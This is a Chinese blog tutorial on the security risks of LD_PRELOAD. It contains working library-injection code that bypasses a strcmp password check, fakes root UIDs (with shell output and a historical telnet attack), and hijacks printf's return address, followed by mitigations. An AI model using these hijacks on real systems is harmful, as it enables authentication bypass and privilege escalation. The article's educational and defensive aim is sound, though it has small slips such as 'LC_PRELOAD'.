**警惕UNIX下的LD\_PRELOAD环境变量**

[**陈皓**](http://blog.csdn.net/haoel)

**前言**

       也许这个话题并不新鲜，因为LD\_PRELOAD所产生的问题由来已久。不过，在这里，我还是想讨论一下这个环境变量。因为这个环境变量所带来的安全问题非常严重，值得所有的Unix下的程序员的注意。

在开始讲述为什么要当心LD\_PRELOAD环境变量之前，请让我先说明一下程序的链接。所谓链接，也就是说编译器找到程序中所引用的函数或全局变量所存在的位置。一般来说，程序的链接分为静态链接和动态链接，静态链接就是把所有所引用到的函数或变量全部地编译到可执行文件中。动态链接则不会把函数编译到可执行文件中，而是在程序运行时动态地载入函数库，也就是运行链接。所以，对于动态链接来说，必然需要一个动态链接库。动态链接库的好处在于，一旦动态库中的函数发生变化，对于可执行程序来说是透明的，可执行程序无需重新编译。这对于程序的发布、维护、更新起到了积极的作用。对于静态链接的程序来说，函数库中一个小小的改动需要整个程序的重新编译、发布，对于程序的维护产生了比较大的工作量。

当然，世界上没有什么东西都是完美的，有好就有坏，有得就有失。动态链接所带来的坏处和其好处一样同样是巨大的。因为程序在运行时动态加载函数，这也就为他人创造了可以影响你的主程序的机会。试想，一旦，你的程序动态载入的函数不是你自己写的，而是载入了别人的有企图的代码，通过函数的返回值来控制你的程序的执行流程，那么，你的程序也就被人“劫持”了。

**LD\_PRELOAD简介**

在UNIX的动态链接库的世界中，LD\_PRELOAD就是这样一个环境变量，它可以影响程序的运行时的链接（Runtime linker），它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量，我们可以在主程序和其动态链接库的中间加载别的动态链接库，甚至覆盖正常的函数库。一方面，我们可以以此功能来使用自己的或是更好的函数（无需别人的源码），而另一方面，我们也可以以向别人的程序注入恶意程序，从而达到那不可告人的罪恶的目的。

我们知道，[**Linux**](http://lib.csdn.net/base/linux)的用的都是glibc，有一个叫libc.so.6的文件，这是几乎所有Linux下命令的动态链接中，其中有标准C的各种函数。对于GCC而言，默认情况下，所编译的程序中对标准C函数的链接，都是通过动态链接方式来链接libc.so.6这个函数库的。

OK。还是让我用一个例子来看一下用LD\_PRELOAD来hack别人的程序。

**示例一**

我们写下面一段例程：

|  |
| --- |
| /\* 文件名：verifypasswd.c \*/  /\* 这是一段判断用户口令的程序，其中使用到了标准C函数strcmp\*/    #include <stdio.h>  #include <string.h>    int main(int argc, char \*\*argv)  {    char passwd[] = "password";    if (argc < 2) {          printf("usage: %s <password>/n", argv[0]);          return;  }    if (!strcmp(passwd, argv[1])) {          printf("Correct Password!/n");          return;  }    printf("Invalid Password!/n");  } |

在上面这段程序中，我们使用了strcmp函数来判断两个字符串是否相等。下面，我们使用一个动态函数库来重载strcmp函数：

|  |
| --- |
| /\* 文件名：hack.c \*/    #include <stdio.h>  #include <string.h>    int strcmp(const char \*s1, const char \*s2)  {          printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);          /\* 永远返回0，表示两个字符串相等 \*/          return 0;  } |

编译程序：

$ gcc -o verifypasswd verifypasswd.c

$ gcc -shared -o hack.so hack.c

[**测试**](http://lib.csdn.net/base/softwaretest)一下程序：（得到正确结果）

$ ./verifypasswd asdf

Invalid Password!

设置LD\_PRELOAD变量：（使我们重写过的strcmp函数的hack.so成为优先载入链接库）

         $ export LD\_PRELOAD="./hack.so"

再次运行程序：

$ ./verifypasswd  asdf

hack function invoked. s1=<password> s2=<asdf>

Correct Password!

我们可以看到，1）我们的hack.so中的strcmp被调用了。2）主程序中运行结果被影响了。如果这是一个系统登录程序，那么这也就意味着我们用任意口令都可以进入系统了。

**示例二**

让我们再来一个示例（这个示例来源于我的工作）。这个软件是一个分布式计算平台，软件在所有的计算机上都有以ROOT身份运行的侦听程序（Daemon），用户可以把的一程序从A计算机提交到B计算机上去运行。这些Daemon会把用户在A计算机上的所有环境变量带到B计算机上，在B计算机上的Daemon会fork出一个子进程，并且Daemon会调用seteuid、setegid来设置子程的执行宿主，并在子进程空间中设置从A计算机带过来的环境变量，以仿真用户的运行环境。（注意：A和B都运行在NIS/NFS方式上）

于是，我们可以写下这样的动态链接库：

|  |
| --- |
| /\* 文件名：preload.c \*/    #include <dlfcn.h>  #include <unistd.h>  #include <sys/types.h>    uid\_t geteuid( void ) { return 0; }  uid\_t getuid( void ) { return 0; }  uid\_t getgid( void ) { return 0; } |

       在这里我们可以看到，我们重载了系统调用。于是我们可以通过设置LC\_PRELOAD来迫使主程序使用我们的geteuid/getuid/getgid（它们都返回0，也就是Root权限）。这会导致，上述的那个分布式计算平台的软件在提交端A计算机上调用了geteuid得到当前用户ID是0，并把这个用户ID传到了执行端B计算机上，于是B计算机上的Daemon就会调用seteuid(0)，导致我们的程序运行在了Root权限之下。从而，用户取得了超级用户的权限而为所欲为。

       上面的这个preload.c文件也就早期的为人所熟知的hack程序了。恶意用户通过在系统中设计LC\_PRELOAD环境变量来加载这个动态链接库，会非常容易影响其它系统命令（如：/bin/sh, /bin/ls, /bin/rm 等），让这些系统命令以Root权限运行。

让我们看一下这个函数是怎么影响系统命令的：

**$ id**

uid=500(hchen) gid=10(wheel) groups=10(wheel)

**$ gcc -shared -o preload.so preload.c**

**$ setenv LD\_PRELOAD ./preload.so**

**$ id**

uid=0(root) gid=0(root) egid=10(wheel) groups=10(wheel)

**$ whoami**

root

**$ /bin/sh**

#         <------ 你可以看到命令行提示符会由 $ 变成 #

下面是一个曾经非常著名的系统攻击

|  |
| --- |
| $ telnet  telnet> env def LD\_PRELOAD /home/hchen/test/preload.so  telnet> open localhost  # |

当然，这个安全BUG早已被Fix了（虽然，通过id或是whoami或是/bin/sh让你觉得你像是root，但其实你并没有root的权限），当今的Unix系统中不会出现这个的问题。但这并不代表，我们自己写的程序，或是第三方的程序能够避免这个问题，尤其是那些以Root方式运行的第三方程序。

所以，在我们编程时，我们要随时警惕着LD\_PRELOAD。

**如何避免**

不可否认，LD\_PRELOAD是一个很难缠的问题。目前来说，要解决这个问题，只能想方设法让LD\_PRELOAD失效。目前而言，有以下面两种方法可以让LD\_PRELOAD失效。

1）通过静态链接。使用gcc的-static参数可以把libc.so.6静态链入执行程序中。但这也就意味着你的程序不再支持动态链接。

2）通过设置执行文件的setgid / setuid标志。在有SUID权限的执行文件，系统会忽略LD\_PRELOAD环境变量。也就是说，如果你有以root方式运行的程序，最好设置上SUID权限。（如：chmod 4755 daemon）

在一些UNIX版本上，如果你想要使用LD\_PRELOAD环境变量，你需要有root权限。但不管怎么说，这些个方法目前来看并不是一个彻底的解决方案，只是一个Workaround的方法，是一种因噎废食的做法，为了安全，只能禁用。

**另一个示例**

最后，让我以一个更为“变态”的示例来结束这篇文章吧（这个示例来自某俄罗斯黑客）。看看我们还能用LD\_PRELOAD来干点什么？下面这个程序comp.c，我们用来比较a和b，很明显，a和b不相等，所以，怎么运行都是程序打出Sorry，然后退出。这个示例会告诉我们如何用LD\_PRELOAD让程序打印OK。

|  |
| --- |
| /\* 源文件：comp.c  执行文件：comp\*/    #include <stdio.h>    int main(int argc, char \*\*argv)  {          int a = 1, b = 2;            if (a != b) {                  printf("Sorry!/n");                  return 0;          }            printf("OK!/n");          return 1;  } |

我们先来用GDB来研究一下程序的反汇编。注意其中的红色部分。那就是if语句。如果条件失败，则会转到<main+75>。当然，用LD\_PRELOAD无法影响表达式，其只能只能影响函数。于是，我们可以在printf上动点歪脑筋。

|  |
| --- |
| (gdb) disassemble main  Dump of assembler code for function main:  0x08048368 <main+0>:    push   %ebp  0x08048369 <main+1>:    mov    %esp,%ebp  0x0804836b <main+3>:    sub    $0x18,%esp  0x0804836e <main+6>:    and    $0xfffffff0,%esp  0x08048371 <main+9>:    mov    $0x0,%eax  0x08048376 <main+14>:   add    $0xf,%eax  0x08048379 <main+17>:   add    $0xf,%eax  0x0804837c <main+20>:   shr    $0x4,%eax  0x0804837f <main+23>:   shl    $0x4,%eax  0x08048382 <main+26>:   sub    %eax,%esp  0x08048384 <main+28>:   movl   $0x1,0xfffffffc(%ebp)  0x0804838b <main+35>:   movl   $0x2,0xfffffff8(%ebp)  0x08048392 <main+42>:   mov    0xfffffffc(%ebp),%eax  0x08048395 <main+45>:   cmp    0xfffffff8(%ebp),%eax  **0x08048398 <main+48>:   je     0x80483b3 <main+75>**  0x0804839a <main+50>:   sub    $0xc,%esp  0x0804839d <main+53>:   push   $0x80484b0  0x080483a2 <main+58>:   call   0x80482b0  0x080483a7 <main+63>:   add    $0x10,%esp  0x080483aa <main+66>:   movl   $0x0,0xfffffff4(%ebp)  0x080483b1 <main+73>:   jmp    0x80483ca <main+98>  0x080483b3 <main+75>:   sub    $0xc,%esp  0x080483b6 <main+78>:   push   $0x80484b8  0x080483bb <main+83>:   call   0x80482b0  0x080483c0 <main+88>:   add    $0x10,%esp  0x080483c3 <main+91>:   movl   $0x1,0xfffffff4(%ebp)  0x080483ca <main+98>:   mov    0xfffffff4(%ebp),%eax  0x080483cd <main+101>:  leave  0x080483ce <main+102>:  ret  End of assembler dump. |

下面是我们重载printf的so文件。让printf返回后的栈地址变成<main+75>。从而让程序接着执行。下面是so文件的源，都是让人反感的汇编代码。

|  |
| --- |
| #include <stdarg.h>    static int (\*\_printf)(const char \*format, ...) = NULL;    int printf(const char \*format, ...)  {        if (\_printf == NULL) {           /\* 取得标准库中的printf的函数地址 \*/  \_printf = (int (\*)(const char \*format, ...)) dlsym(RTLD\_NEXT, "printf");             /\* 把函数返回的地址置到<main+75> \*/           \_\_asm\_\_ \_\_volatile\_\_ (                  "movl 0x4(%ebp), %eax /n"                  "addl $15, %eax /n"                  "movl %eax, 0x4(%ebp)"           );             return 1;      }        /\* 重置 printf的返回地址 \*/      \_\_asm\_\_ \_\_volatile\_\_ (              "addl $12, %%esp /n"              "jmp \*%0 /n"                      : /\* no output registers \*/                      : "g" (\_printf)                      : "%esp"      );  } |

你可以在你的Linux下试试这段代码。：）